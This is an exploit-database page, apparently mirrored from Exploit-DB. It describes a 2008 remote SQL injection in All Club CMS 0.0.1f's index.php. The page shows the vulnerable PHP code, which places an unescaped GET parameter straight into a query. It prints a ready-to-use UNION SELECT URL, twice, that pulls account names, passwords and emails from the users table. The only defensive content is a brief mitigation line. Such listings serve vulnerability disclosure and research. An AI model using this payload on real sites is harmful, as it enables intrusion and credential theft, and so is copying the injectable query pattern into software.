All Club CMS - exploit.company

vendor:

All Club CMS

by:

ka0x

7.5

CVSS

HIGH

Remote SQL Injection

CWE

Product Name: All Club CMS

Affected Version From: 0.0.1f

Affected Version To: 0.0.1f

Patch Exists: NO

Related CWE: N/A

CPE: a:all_club_cms:all_club_cms

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

All Club CMS <= 0.0.1f index.php Remote SQL Injection Vulnerability

Stripslashes function only deletes backslashes () and the backslashes doubles (\) becomes simple (). Exploit: http://[host]/accms_path/index.php?name=-1'/**/union/**/select/**/1,concat(account,0x3a,password,0x3a,email),3,4,5,6,7,8,9,1,1,1,1/**/from/**/accms_users/**/where/**/id=1/*

Mitigation:

Ensure that the application is not vulnerable to SQL injection attacks by using parameterized queries, stored procedures, and other techniques.

Source

Exploit-DB raw data:

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
 All Club CMS <= 0.0.1f index.php Remote SQL Injection Vulnerability
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


bug found by ka0x
D.O.M TEAM 2008
we are: ka0x, an0de, xarnuz
http://www.domlabs.org/

Script affected: All Club CMS
Vulnerability: Remote SQL Injection

Download: http://sourceforge.net/project/showfiles.php?group_id=209058
need magic_quotes_gpc = off


vuln code:

[...]

if (isset($_GET['name']) && (!(empty($_GET['name'])))) {
   
  $name = $_GET['name'];
  $name = stripslashes($name);
  // stop hackers
  if (eregi("http\:\/\/", $name)) {
      echo "<br />&nbsp;&nbsp;No go on the hack attempt.<br />";
      // log attempt, from IP, etc.
      if ($SYS_SET['ban_attack_ip']) {
        // ban ip if ban_attack_ip
      }
    die();
  }
   
  $sth = $dbh->prepare("SELECT * FROM accms_modules WHERE name='$name'");
 
[...]


Stripslashes function only deletes backslashes (\) and the backslashes
doubles (\\) becomes simple (\).


Exploit:
http://[host]/accms_path/index.php?name=-1'/**/union/**/select/**/1,concat(account,0x3a,password,0x3a,email),3,4,5,6,7,8,9,1,1,1,1/**/from/**/accms_users/**/where/**/id=1/*


__EOF__

# milw0rm.com [2008-02-05]